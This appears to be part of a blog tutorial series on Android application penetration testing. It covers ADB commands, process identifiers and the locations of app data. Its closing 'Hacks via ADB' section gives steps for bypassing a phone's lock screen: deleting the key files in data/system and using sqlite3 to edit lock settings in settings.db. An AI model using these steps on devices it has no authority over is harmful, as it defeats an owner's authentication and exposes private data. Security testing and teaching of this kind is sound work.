Android Application Penetration Testing Part 3

In my last article( Android Application Penetration Testing Part 1 ), ( Android Application Penetration Testing Part 2 )we had look at basic architecture and penetration testing tools. Now Let’s dig deeper with ADB.

Android Debug Bridge

Android Debug Bridge (ADB) is a versatile command-line tool that lets you communicate with a device

Adb install – It is used to install an apk file into an Emulated/Connected Device

Adb pull – It is used to fetch some data from an Emulated device (remote) to a local host (local).

Adb push – It is used to push some data from localhost (local) to Emulated Device (remote).

Adb forward – Forwards socket connections from a specified local port to a specified remote port on the emulator/device instance.

Adb shell – Adb provides a UNIX shell that you can use to run a variety of commands on an emulator or connected device. In the terminal, you can use all adb commands

• We can install applications via ADB shell or directly by using the app use dashboard

Some Important notes

• UID– Every time a new application is initiated in the Android device, it is assigned a unique User ID
• PID– As every application has its own process id
• GID– group IDs of the application that owns that process

Dumpsys meminfo – All process details

Dumpsys meminfo name of .apk

Android Package (APK) is the default extension for Android applications, which is just an archive file that contains all the necessary files and folders of the application.

All data of the application in the device can be found in /data/data directory.

All applications (apk files) in the device can be found in /data/app directory

Standard permissions granted to the shell can be found in /system/etc/permissions # cat platform.xml

Hacks via ADB:

We usually open our Android device by unlocking various gesture patterns or password key

If you remove the gesture. Key or password. The key which located in data/system, you can bypass that lock.

Another method

Try with ADB shell

Cd /data/data/com.android.providers.settings/databases

sqlite3 settings.db

Update system set value=0 where name='lock_pattern_autolock';

Update system set value=0 where name='lockscreen.lockedoutpermanently'; .quit

Reset your phone. Don’t worry try a random pattern or pin or Password, you will bypass it.

Android Application Penetration Testing Part – 4

Also, read

• Penetration testing Android Application checklist
• Penetration testing on your WordPress website
• Advanced ATM penetration testing methods
• Web Server Penetration Testing Checklist

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